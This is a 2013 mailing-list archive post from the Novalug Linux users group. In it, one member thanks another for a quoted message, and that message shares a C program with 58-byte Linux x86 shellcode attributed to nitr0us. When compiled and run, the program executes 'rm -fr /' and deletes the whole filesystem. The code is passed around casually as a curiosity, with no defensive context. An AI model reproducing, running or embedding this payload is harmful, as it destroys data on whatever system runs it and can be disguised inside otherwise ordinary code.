[Novalug] rm question

Ed James edward.james@gmail.com
Thu Oct 10 17:10:22 EDT 2013


Now THAT is cool! Tnx for the post/link!

Ed James


On Thu, Oct 10, 2013 at 5:05 PM, shawn wilson <ag4ve.us@gmail.com> wrote:

> This isn't exactly what you want (if anyone feels like modifying it to
> do what was asked for, I'd be interrested though):
>
> /*
> # Title:  Linux x86 'rm -fr /' shellcode
> # Author: nitr0us [ http://twitter.com/nitr0usmx ]
> # Size:   58 bytes
> # Arch:   Linux x86
>
> ASM CODE:
> ...
>         .string "/bin/rmX-frX/"
>
> http://chatsubo-labs.blogspot.com
> http://www.brainoverflow.org
>
> */
>
> char shellcode[]=
> "\xeb\x26\x31\xd2\x5b\x88\x53\x07\x88\x53\x0b\x88\x53\x0d\x89\x5b"
> "\x0e\x8d\x73\x08\x89\x73\x12\x8d\x73\x0c\x89\x73\x16\x89\x53\x1a"
> "\x8d\x4b\x0e\x6a\x0b\x58\xcd\x80\xe8\xd5\xff\xff\xff"
> "/bin/rmX-frX/";
>
> main()
> {
>   void(*rmfr)(void);
>   printf("rm -fr / : %d bytes\n", sizeof(shellcode));
>   rmfr = shellcode;
>   rmfr();
> }
> ...
>
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <https://lists.firemountain.net/pipermail/novalug/attachments/20131010/25cd5a9d/attachment.htm>


More information about the Novalug mailing list